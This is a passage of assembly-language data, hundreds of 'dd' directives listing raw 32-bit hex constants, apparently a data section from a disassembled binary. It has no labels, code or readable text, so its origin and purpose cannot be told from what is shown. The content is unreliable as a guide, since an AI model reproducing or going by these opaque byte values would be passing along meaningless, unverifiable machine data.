dd 2B27C880h, 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h
dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h, 94900853h
dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h
dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh
dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh
dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h
dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
dd 1C781532h, 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh
dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh
dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h
dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h
dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h
dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h
dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh
dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h
dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h
dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h
dd 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh
dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h
dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h
dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
dd 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h
dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
dd 1DC2F94Ch, 0B05F07EBh
dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h
dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h
dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch
dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h
dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h
dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh
dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h
dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h
dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh
dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h
dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h
dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh
dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h
dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh
dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h
dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h
dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h
dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h
dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h
dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h
dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h
dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h
dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh
dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h
dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h
dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h
dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h
dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
dd 52510F00h, 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h
dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
dd 21DFDAEh, 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h
dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh
dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h
dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h
dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
dd 32DC1F6Ah, 7FC0AD1Fh
dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
dd 2402D6F8h, 0C82D66h, 505553B4h, 22579856h, 0F00FB901h
dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch
dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h
dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh
dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h
dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h
dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h
dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h
dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h
dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h
dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh
dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch
dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h
dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h
dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h
dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch
dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h
dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh
dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh
dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h
dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h
dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh
dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h
dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh
dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h
dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh
dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh
dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h
dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh
dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh
dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h
dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
dd 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h
dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
dd 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h
dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
dd 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h
dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh
dd 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h
dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h
dd 6F936400h, 6D37803h, 20050055h, 2608A11Bh, 44006209h
dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
dd 541A1500h, 0AC2EDC8Ah
dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h
dd 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh
dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h
dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh
dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h
dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch
dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h
dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h
dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh
dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh
dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h
dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h
dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h
dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h
dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah
dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h
dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah
dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah
dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch
dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h
dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h
dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh
dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h
dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h
dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh
dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h
dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah
dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h
dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh
dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h
dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h
dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
